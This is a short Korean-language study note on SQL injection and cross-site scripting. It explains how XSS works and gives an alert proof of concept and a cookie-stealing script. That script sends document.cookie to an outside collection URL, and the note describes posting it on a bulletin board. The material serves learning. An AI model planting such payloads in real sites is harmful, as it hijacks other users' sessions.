SQL Injection
- 데이터 변조(insert, delete, update 구문 X.)
update .. where id = '' <- SQLI 가능함.
insert ... '' <- SQLI 가능함.
- 테스트하다 DB 값이 바뀔 수 있음.
- 만약 그쪽에 취약점이 있으면? -> 그 페이지 전체에 취약점이 있을 수 있다고 보고.
- 주석. 남용 X.
XSS
XSS란?
- Cross site scripting: 클라이언트 측 코드를 삽입해, 피해자 컴퓨터(웹 브라우저)에서 실행되게 만드는 공격.
<script>alert('hello')</script>
- 위와 같은 script에 alert 대신에 우리가 원하는 코드를 넣어 실행하게 만든다.
var i = new Image();
i.src = "attachk URL?cookie=" + document.cookie
- 위와 같이 우리가 원하는 URL에 사용자의 cookie를 URL로 보낼 수 있다.
- keylogger를 심어 사용자가 입력하는 값을 알아낼 수도 있다.
- crypto miner를 사용해 강제로 가상화폐 채굴에 사용될 수도 있다.
특징
- 서버 측에는 아무런 피해가 없다. 왜냐하면 이 공격은 클라이언트(웹 브라우저)를 타겟으로 한 공격이기 때문이다.
- XSS의 경우 자주 발견되는 편이라고 한다.
어떻게?
- 다른 사용자의 웹브라우저에 어떻게 삽입하게 해야할까?
서버에 삽입하는 경우.(ex.게시판)
- POC 코드(증명용 코드)를 데이터를 서버로 보내고 다른 이용자들이 볼 수 있는 페이지(ex.게시판)에 올린다.
<script>alert('XSS')</script>
<script>var i = new Image();
i.src = "https://ent0n3lo6au6a.x.pipedream.net?cookie="+document.cookie</script>
- 그러면 아래와 마찬가지로 Cookie값이 전달되는 것을 알 수 있다. 여기서는 웹페이지가 Cookie를 생성하지 않아 전달이 되지 않았다.
주의할 점
- alert의 경우 증명용 코드이지, 필터링한다고 막히는 것이 아니다.
- alert, prompt, confirm, location.href 등등으로 증명용 코드는 많다.